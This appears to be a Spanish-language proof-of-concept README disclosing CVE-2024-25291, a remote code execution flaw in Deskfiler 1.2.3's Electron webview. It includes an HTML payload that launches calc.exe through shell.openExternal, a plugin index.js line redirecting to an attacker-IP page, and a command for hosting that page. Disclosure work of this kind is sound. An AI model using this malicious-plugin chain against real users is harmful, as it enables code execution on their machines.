DeskFiler RCE

Una prueba de concepto para la vulnerabilidad CVE-2024-25291.

deskfiler - 1.2.3 permite Electron webview en la aplicación, con el consiguiente código remoto En este repositorio hay un ejemplo de aplicación vulnerable y un exploit de prueba de concepto (POC) de la misma.

Como PoC, hay un archivo de Python que automatiza el proceso.

1. Resumen de la vulnerabilidad:

Tema de la vulnerabilidad: Open Redirect mediante RCE
Versión vulnerable: deskfiler-1.2.3
Manifestación del problema: Electron Webview
Tipo de ataque: Ejecución Remota de Código
Vectores de ataque: Para explotar la vulnerabilidad, alguien debe abrir el complemento.
Número CVE reservado: CVE-2024-25291

2. Causa de la vulnerabilidad:

Explicación del exploit
- Dentro de la aplicación, se pudo confirmar una sección que accede a un enlace externo a través de un Webview mediante Electron. Por lo tanto, a través de esto, es posible lograr un RCE conectándose al servidor del atacante.

Prueba de concepto (POC)

Paso 1) Prepare el servidor del atacante y cree un complemento malicioso.

<html>
 <head>
 <title>jruru</title>
 </head>
 <body>
 <script>
 const { shell } = require('electron');
 shell.openExternal('file:C:/Windows/System32/calc.exe');
 </script>
 </body>
 </html>

※ Si desea probarlo rápidamente, cree un servidor en el PC del atacante con el siguiente código.

$ python -m http.server 80

Nota: ※ En este momento, se asume que el complemento es un complemento generado por el atacante, y es solo un complemento normal con un código añadido para permitir el acceso al servidor del atacante. Se ha seleccionado BareBone para pruebas simples. deskfiler1

Después, agregue el siguiente código al archivo index.js en la ruta de la carpeta BareBone.

window.location='http://[attacker_ip]/hack.html'

Paso 2) En el servidor de la víctima, ejecute Deskfiler e instale el complemento BareBone a través de "Add new plugin."

deskfiler3

3. Información adicional

En este PoC, utilizamos un complemento; sin embargo, creemos que con vectores de ataque alternativos es posible lograr una Ejecución Remota de Código (RCE) de forma independiente. Además, si existen vulnerabilidades del lado del servidor como XSS Almacenado, XSS Reflejado, también se considera factible la RCE.

CVE-2024-25291